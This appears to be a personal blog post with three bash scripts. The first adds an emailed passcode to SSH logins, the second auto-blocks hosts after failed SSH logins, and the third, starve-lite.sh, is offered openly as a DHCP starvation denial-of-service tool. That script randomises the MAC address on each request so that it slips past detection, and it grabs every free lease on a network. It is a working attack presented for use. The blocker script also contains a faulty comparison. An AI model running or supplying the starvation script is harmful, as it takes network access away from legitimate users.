SSH Verify Login

What if your username and password to your linux box became compromised? Security is layers. Having a 100 character password doesn't help if someone knows it. What if you didn't even know your password though? Scratch that, what if you had a 2 tier password model for logging into your linux box? Sound good? Then keep reading.

This is a little bash script that will help identify you as a authorized user of a system in case of user/pass compromise. There are two parts to the script. The first part is checking to see if you are logged in via SSH. I do this to make sure you are connected to the internet as the check sends out an email. I also do this in case you are logging in via a gui; you don't want to get locked out from something behind your gui window. The second part is sending out the email/text with a random number. You then check your email/text message and enter the number into the script after ssh login.

Place this script at the end of your .profile
Example: /home/billy/.profile

Just change the [email address] below to your email address.

---

#############################
# Verify SSH Identity 2011-07
# Written by Joe McShinsky
#############################
wai=`whoami`
getpts=`who am i | awk '{ print $2 }'`
getssh=`ps aux | grep ssh | fgrep "$wai@$getpts" | wc -m`
if [ $getssh -gt 50 ]
then
clear
echo "Verifying Your Identity..."
echo "Enter Passcode:"
send=`echo "$RANDOM"`
echo "$send" | mail -s"`date` SSH Login" [email address]
read pass
if [ $pass = $send ]
then
echo "Welcome Master"
else
exit
fi
fi

---

Item of note. Some ISP's don't allow you to send mail directly from your computer (prevent spam). I will edit this later with a code change utilizing a smtp program.

Confirmed Platforms:
- OpenSUSE 11.4

---

Simple Linux SSH IDS/IPS Script - Ver. 2

EDIT: Go figure that I re-invented the wheel. :)
I will leave this here for reference. Go ahead and check out: DenyHosts. The biggest thing about it that I am promoting it for is that you can potentially block zombie computers before they reach your network. It blocks based off attacks against your system and also pulls from a database of attacks other networks have seen (or not if you tell it not to). Enjoy!

---

I realized that the original SSH IDS/IPS I wrote was a little flawed... It was finding and logging items that weren't actual hosts. BUT, it was doing its job on blocking those "non-hosts". ha I think i've got it to a good point now. So far it has only been tested on openSUSE 10.3 (script should apply to entire line of openSUSE distros). I think it is generic enough to apply to most other *nix based OS's but you will want to check for location mis-matches just in case.

Also, there is no pre-setup. Just run the script and it will let you know if you have never ran the script before or if logrotate was doing its job. :)

---

idsips.ssh.sh

---

#! /bin/bash

# Version 2

# Get old delimiter for where to look from
gto=`grep IDSIPSDELIM-SSHD /var/log/messages | tail -n1`
if [ `echo "$gto" | grep SSH | wc -l` -lt 1 ]
then
echo "Looks like the log file is missing the delimiter. If this is the first time running this script, please run it again. If it has been running ok then it probably means logrotate is doing its job. Exiting..."
echo "IDSIPSDELIM-SSHD-`date +%s`" >> /var/log/messages
exit
fi

# Apply new delimiter so we know where to look for again
echo "IDSIPSDELIM-SSHD-`date +%s`" >> /var/log/messages

#gtf=`grep -A200000000 $gto /var/log/messages | grep sshd | grep -i fail | awk '{ print $NF }' | grep [0-9] | sort -u`
gtf=`grep -A200000000 $gto /var/log/messages | grep sshd | grep -i fail | awk -F"from" '{ print $2 }' | awk '{ print $1 }' | grep [0-9a-zA-Z]"\."[0-9a-zA-Z] | sort -u`

for s in `echo "$gtf"`
do
num=`echo "$gtf" | grep $s | wc -l`
if [ $num > 10 ]
then
blkd="`date +%s`"
echo "ALL : $s # AUTOBLOCK-$blkd" >> /etc/hosts.deny
echo "`date` - AUTOBLOCK - $s - $blkd" >> /var/log/idsips.sh.log
sleep 1
fi
done

gtcd=`date +%s`
for s in `grep AUTOBLOCK /etc/hosts.deny | cut -d"-" -f2`
do
gts=`expr $gtcd - $s`
if [ "$gts" -gt 360 ]
then
gto=`grep -v $s /etc/hosts.deny`
echo "$gto" > /etc/hosts.deny
fi
done

---

Shell Script - starve-lite.sh

I came upon something today that caught my attention; a way to "suck up" all the IP's on a network to essentially create a DOS. This is a DOS because you are denying legitimate computers on the network the ability to communicate with other computers on the network. There was a program that I could download to perform the DOS but I wanted something that I could utilize right away and not need to make sure I am missing dependencies (Note, Linux script running on BackTrack 3).

Its rather simple.
1. Bring down the interface
2. Change the MAC
3. Bring up the interface
4. Send DHCP request w/ fake hostname
5. Calculate how long it took
6. Calculate how many taken per minute & in the next 1/2 & full hour
7. Log what IP's have been taken

If you leave it running it will try and snag an available IP right as it comes available. I have tested it on my network and I was able to get quite a few before I turned it off. Against the speed of my DHCP server the script calculated that a whole "C" block would be taken within an hour. Plenty of time to do scans, vuln assessment, etc. while you wait.

Also, this method should evade detection because IP requests are coming from a different MAC every time. They are also coming at a slower rate (hence, starve-lite.sh). If you have any Cisco gear that you can turn on detection and then run the script, please let me know how it goes. :) I should be releasing a faster-rate version soon that will gobble up as many as possible right away but has more possibility of detection.

---

starve-lite.sh

---

#! /bin/bash

ref=`date +%s`
clear
while [ 1 ]
do
int="eth0"
stt=`date +%s`
ifconfig $int down
macchanger -rA $int
ifconfig $int up
rm -f /etc/dhcpc/*.pid
dhcpcd -h `echo "$RANDOM"` $int
ip=`ifconfig $int | grep inet | cut -d":" -f2 | awk '{ print $1 }'`
echo "$ip" >> /starve.txt
ent=`date +%s`
run=`expr $ent - $stt`
min=`expr 60 / $run`
half=`expr 1800 / $run`
hour=`expr 3600 / $run`
clear
echo "Total IP Leases Taken: `wc -l /starve.txt | awk '{ print $1 }'`"
echo "Running Time: $run Seconds"
echo "Approx. $min IP's Per Minute"
echo "Approx. $half IP's Per 1/2 Hour"
echo "Approx. $hour IP's Per Hour"
echo "---------------------------"
done

---